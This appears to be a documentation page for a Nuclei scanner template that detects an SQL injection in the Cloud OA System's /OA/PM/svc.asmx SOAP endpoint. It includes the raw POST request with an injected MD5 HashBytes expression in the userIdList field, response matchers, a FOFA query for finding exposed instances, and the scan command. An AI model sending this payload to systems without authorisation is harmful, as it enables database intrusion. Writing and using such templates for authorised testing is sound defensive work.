Skip to content

Cloud OA System - SQL Injection

ID: cloud-oa-system-sqli

Severity: high

Author: SleepingBag945

Tags: cloud,cloudoa,sqli

cloud OA system /OA/PM/svc.asmx page parameters are not properly filtered, resulting in a SQL injection vulnerability, which can be used to obtain sensitive information in the database.

id: cloud-oa-system-sqli
info:
name: Cloud OA System - SQL Injection
author: SleepingBag945
severity: high
description: |
cloud OA system /OA/PM/svc.asmx page parameters are not properly filtered, resulting in a SQL injection vulnerability, which can be used to obtain sensitive information in the database.
reference:
- https://github.com/GREENHAT7/pxplan/blob/e2fc04893ca95e177021ddf61cc2134ecc120a8e/xray_pocs/yaml-poc-eqccd-eqccd_oa-sql_injection-CT-456760.yml#L8
metadata:
verified: true
max-request: 1
fofa-query: body="全程云办公" && body="/OA/WebResource.axd"
tags: cloud,cloudoa,sqli
variables:
num: "999999999"
http:
- raw:
- |
POST /OA/PM/svc.asmx HTTP/1.1
Host: {{Hostname}}
Content-Type: text/xml
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetUsersInfo xmlns="http://tempuri.org/">
<userIdList>LOWER(CONVERT(VARCHAR(32),HashBytes('MD5','{{num}}'),2))</userIdList>
</GetUsersInfo>
</soap:Body>
</soap:Envelope>
matchers-condition: and
matchers:
- type: word
part: body
words:
- "System.Data.SqlClient.SqlException"
- "{{md5(num)}}"
condition: and
- type: word
part: header
words:
- text/xml
- type: status
status:
- 500
# digest: 4a0a00473045022100b0f0241972cff27fb4347a49d0a8dbd8f6abdc1c46da51b1149820b92214abb602201f1d43cec2f280d5bfb9e91d3dd992b050ec02409fce64169c7e27c9a5c262dd:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/other/cloud-oa-system-sqli.yaml"

View on Github